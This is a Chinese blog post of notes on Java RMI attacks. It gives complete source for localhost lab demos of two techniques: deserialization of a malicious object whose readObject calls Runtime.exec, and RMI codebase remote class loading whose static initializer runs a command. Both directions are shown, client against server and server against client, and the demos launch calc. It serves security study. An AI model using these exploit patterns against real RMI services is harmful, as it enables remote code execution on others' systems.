1. 程式人生 > >關於<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)>看後的一些總結-1

關於<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)>看後的一些總結-1

原文地址:https://www.anquanke.com/post/id/194384#h3-3

1.java rmi

關於rmi客戶端和服務端通訊的過程,java的方法都實現在rmi服務端,客戶端實際上是通過訪問rmi登錄檔拿到stub,然後再通過它呼叫服務端方法,那麼呼叫方法時要傳遞引數,引數可以為一般型別,也可以為引用型別,那麼如果為引用型別,就能夠利用服務端已經有的gaget chain來打server,因為引數實際上是序列化傳輸的,那麼資料到達服務端後必定會經過反序列化。

客戶端:

RMIClient.java

package com.longofo.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    /**
     * Java RMI惡意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 獲取遠端物件的引用
        Services services = (Services) registry.lookup("Services");
        PublicKnown malicious = new PublicKnown();
        malicious.setParam("calc");
        malicious.setMessage("haha");

        // 使用遠端物件的引用呼叫對應的方法
        System.out.println(services.sendMessage(malicious));
    }
}

此時客戶端要打服務端,因此要將惡意的物件作為引數傳遞到服務端,此時序列化的物件將在服務端反序列化

publicKnown.java

package com.longofo.javarmi;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class PublicKnown extends Message implements Serializable {
    private static final long serialVersionUID = 7439581476576889858L;
    private String param;

    public void setParam(String param) {
        this.param = param;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.param);
    }
}

此時要傳遞的惡意物件肯定要符合服務端引數型別的定義

服務端:

RMIServer.java

//RMIServer.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    /**
     * Java RMI 服務端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 例項化服務端遠端物件
            ServicesImpl obj = new ServicesImpl();
            // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                // 建立Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //繫結遠端物件到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage();
    }
}

Service.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

Message.java

package com.longofo.javarmi;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = -6210579029160025375L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

所以這裡服務端存在漏洞的即為ServicesImpl類,其存在一個方法其入口引數為Message物件,並且這裡Message這個類是繼承自Serializable,即可以進行反序列化。服務端通過bind()函式繫結遠端物件到RMI登錄檔中,此時客戶端即可以訪問RMI登錄檔拿到stub,即可呼叫服務端的方法,比如sendMessage()函式

此時先啟動RMIServer.java,然後再啟動RMIClient.java,即可達到打rmi服務端的效果,這裡jdk版本為1.6

 

在服務端的readObject處下斷點,即可看到呼叫棧,經過ConnectHandler後就能夠確定服務端要反序列化的類名

 接下來就是通過反射呼叫PublicKnown類的readObject方法 ,進而到達readObject內部的命令執行程式碼段

2.java rmi 動態載入類

2.1RMI服務端打客戶端

java rmi動態載入類,其實就是通過指定codebase來制定遠端的類倉庫,我們知道java在執行過程中需要類的時候可以在本地載入,即在classpath中找,那麼也可以通過codebase來指定遠端庫。預設是不允許遠端載入的,如需載入則需要安裝RMISecurityManager並且配置java.security.policy。並且需要java.rmi.server.useCodebaseOnly 的值必需為false,當然這也是受jdk版本限制的。

RMIClient.java

package com.longofo.javarmi;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient1 {
    /**
     * Java RMI惡意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        //如果需要使用RMI的動態載入功能,需要開啟RMISecurityManager,並配置policy以允許從遠端載入類庫
        System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 獲取遠端物件的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

此時RMI客戶端正常操作,傳入Message物件,並呼叫服務端sendMessage方法

ServiceImpl.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject;

import java.rmi.RemoteException;

public class ServicesImpl1 implements Services {
    @Override
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

可以看到此時服務端實現Services介面的類的sendMessage方法返回值為ExportObject型別,即該類的例項

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.longofo.remoteclass;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExportObject implements ObjectFactory, Serializable {
    private static final long serialVersionUID = 4474289574195395731L;

    public ExportObject() {
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());

        BufferedReader inBr;
        String lineStr;
        for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {
        }

        inBr.close();
        in.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            exec("calc");
        } catch (Exception var1) {
            var1.printStackTrace();
        }

    }
}

這裡實際上服務端返回的即為該ExportObject類的例項,該類是實現了物件工廠類,並且可以序列化的,所以可以通過jrmp進行傳輸,我們只需要將其編譯放在伺服器端指定的codebase地址即可等待客戶端來載入,當客戶端遠端載入該類時將會例項化該類,即呼叫該類的static程式碼段

RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer1 {
    public static void main(String[] args) {
        try {
            // 例項化服務端遠端物件
            ServicesImpl1 obj = new ServicesImpl1();
            // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //設定java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 建立Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //繫結遠端物件到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

此時RMIServer端指定了客戶端codebase的地址,即客戶端反序列化ExportObject時需要載入該類,此時將通過服務端提供的codebase來載入

此時先啟動託管遠端類的服務端,將ExportObject.class放在codebase指定的位置,這裡要注意包名要和目錄名相一致

然後啟動RMI服務端,啟動RMI客戶端,即完成了客戶端要呼叫sendMessage方法,此時服務端返回了ExportObject物件,客戶端發現返回的是ExportObject物件後,那將在本地的classpath中沒找到該類,則通過服務端指定的codebase來載入該類,載入該類的後將例項化該類,從而觸發calc

此時託管class的http服務端也收到了載入class檔案的請求

2.2RMI客戶端打服務端

RMIClient.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject1;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient2 {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
        // 獲取遠端物件的引用
        Services services = (Services) registry.lookup("Services");
        ExportObject1 exportObject1 = new ExportObject1();
        exportObject1.setMessage("hahaha");

        services.sendMessage(exportObject1);
    }
}

上面RMI客戶端打RMI服務端是服務端來指定codebase地址供客戶端參考,客戶端來載入codebase地址的class檔案,那麼從上面這段程式碼可以看到此時是客戶端制定了codebase地址,那麼當然服務端就得從客戶端指定的codebase來載入class了,可以看到此時客戶端呼叫服務端的sendMessage函式傳遞的是ExportObject1物件

ExportObject1.java

package com.longofo.remoteclass;

import com.longofo.javarmi.Message;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject1 extends Message implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;


    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

此時該類繼承自Message類,實現物件工廠介面,並且支援序列化

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage();
    }
}

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer2 {
    /**
     * Java RMI 服務端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 例項化服務端遠端物件
            ServicesImpl obj = new ServicesImpl();
            // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                //如果需要使用RMI的動態載入功能,需要開啟RMISecurityManager,並配置policy以允許從遠端載入類庫
                System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
                RMISecurityManager securityManager = new RMISecurityManager();
                System.setSecurityManager(securityManager);

                // 建立Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //繫結遠端物件到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

可以由以上程式碼看到,此時RMI服務端繫結的services介面對應的ServicesImpl.java中sendMessage函式將會呼叫入口引數Message型別物件的getmessage函式,這裡方法體內容是什麼並不重要,因為這種打法和第一節中的打法一樣,都是打RMI服務端,區別是第一節是利用RMI服務端本地的gaget chain,而這裡則是利用遠端類載入,通過客戶端指定的codebase來打RMI服務端。

 所以此時codebase的地址也將受到請求ExportObject1.class的請求,因為服務端發現穿送過來的ExportObject1類classpath裡面沒有,所有就會通過客戶端指定的codebase載入,從而例項化該惡意ExportObject1類,執行static程式碼塊的命令

&n